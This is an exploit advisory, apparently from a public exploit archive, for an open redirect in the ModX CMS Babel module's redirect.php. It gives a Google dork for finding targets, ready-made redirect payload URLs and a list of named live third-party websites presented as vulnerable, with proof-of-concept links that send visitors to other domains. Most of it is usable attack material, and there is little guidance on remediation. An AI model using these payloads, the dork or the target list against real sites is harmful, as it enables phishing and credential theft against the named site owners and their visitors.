facebook facebook twitter rss

ModX Open Source CMS Babel Modules 3.0.0 Open Redirect

Author: KingSkrupellos , Published: 18-01-2019

# Exploit Title : ModX Open Source CMS Babel Modules 3.0.0 Open Redirect
# Author [ Discovered By ] : KingSkrupellos
# Team : Cyberizm Digital Security Army
# Date : 14/01/2019
# Vendor Homepage : modx.com/extras/package/babel
# Software Download Link : modx.com/extras/download/?id=584e5c06bc8dd305728b4568
# Software Information Link : docs.modx.com/extras/revo/babel
# Tested On : Windows and Linux
# Category : WebApps
# Affected Versions : 2.1.0 - 2.25 - 2.6.x and 3.0.0
# Exploit Risk : Medium
# Google Dorks : inurl:''/modules/babel/""
# Vulnerability Type : CWE-601 [ URL Redirection to Untrusted Site ('Open Redirect') ]

###############################################################################################

# Description About the Product :
*******************************

Babel is an Extra for MODx Revolution that helps you managing your multilingual websites using different contexts.

Babel even supports managing several different multilingual websites within one MODx instance by using so called context groups.

Babel maintains links between translated resources. In the manager you can use the Babel Box to easily switch

between the different language versions of your resources. Translations can be created automatically by Babel or defined manually.

Additionally Babel can be used to synchronize certain template variables (TVs) of translated resources

which should be the same in every context (language).

###############################################################################################

# Impact :
*********

* This web application called as ModX Open Source CMS Babel Modules 3.0.0 and other versions

accepts a user-controlled input that specifies a link to an external site, and uses that link in a Redirect.

This simplifies phishing attacks.

* An http parameter may contain a URL value and could cause the web application to redirect

the request to the specified URL. By modifying the URL value to a malicious site, an attacker may

successfully launch a phishing scam and steal user credentials. Because the server name in the

modified link is identical to the original site, phishing attempts have a more trustworthy appearance.

###########################################################################

# Open Redirection Exploit :
***********************

/modules/babel/redirect.php?newlang=[CHANGE-LANGUAGE]&newurl=https://[OPEN-REDIRECT-ADDRESS-HERE.gov]

/modules/babel/redirect.php?newlang=en_EN&newurl=https://[OPEN-REDIRECT-ADDRESS-HERE.gov]

/modules/babel/redirect.php?newlang=en_US&newurl=https://[OPEN-REDIRECT-ADDRESS-HERE.gov]

/modules/babel/redirect.php?newlang=en_GB&newurl=https://[OPEN-REDIRECT-ADDRESS-HERE.gov]

/modules/babel/redirect.php?newlang=fr_fr&newurl=https://[OPEN-REDIRECT-ADDRESS-HERE.gov]

/web/modules/babel/redirect.php?newlang=lv_LV&newurl=https://[OPEN-REDIRECT-ADDRESS-HERE.gov]

###############################################################################################

# Example Vulnerable Sites :
*************************

[+] lehameaudepalombaggia.com/modules/babel/redirect.php?newlang=en_EN&newurl=https://cxsecurity.com/ =>

[ Proof of Concept for Open Redirect Vulnerability ] => archive.is/phsBH

[+] sbeilfuss-webdesign.nl/noorder/modules/babel/redirect.php?newlang=en_US&newurl=https://packetstormsecurity.com

[+] nurenergie.com/modules/babel/redirect.php?newlang=en_US&newurl=http://exploit4arab.org/

[+] stormcasinos.com/modules/babel/redirect.php?newlang=en_GB&newurl=http://exploit4arab.org/

[+] aime-toulouse.fr/cmsms/modules/babel/redirect.php?newlang=fr_FR&newurl=http://exploit4arab.org/

[+] serveriem.lv/web/modules/babel/redirect.php?newlang=lv_LV&newurl=http://exploit4arab.org/

[+] web.dici.unipi.it/modules/babel/redirect.php?newlang=en_US&newurl=http://exploit4arab.org/

[+] geo.ulg.ac.be/cms/modules/babel/redirect.php?newlang=en_US&newurl=http://exploit4arab.org/

[+] alpe-adria.com/modules/babel/redirect.php?newlang=en_US&newurl=http://exploit4arab.org/

[+] lebenstanz.info/modules/babel/redirect.php?newlang=fr_fr&newurl=http://exploit4arab.org/

[+] augustinians.net/modules/babel/redirect.php?newlang=en_US&newurl=http://exploit4arab.org/

[+] eds-pt.com/modules/babel/redirect.php?newlang=en_US&newurl=http://exploit4arab.org/

[+] pluzine.me/modules/babel/redirect.php?newlang=en_US&newurl=http://exploit4arab.org/

[+] theatredecale.com/tdcms/modules/babel/redirect.php?newlang=en_EN&newurl=http://exploit4arab.org/

###############################################################################################

# Discovered By KingSkrupellos from Cyberizm.Org Digital Security Team

###############################################################################################

Like us on Facebook :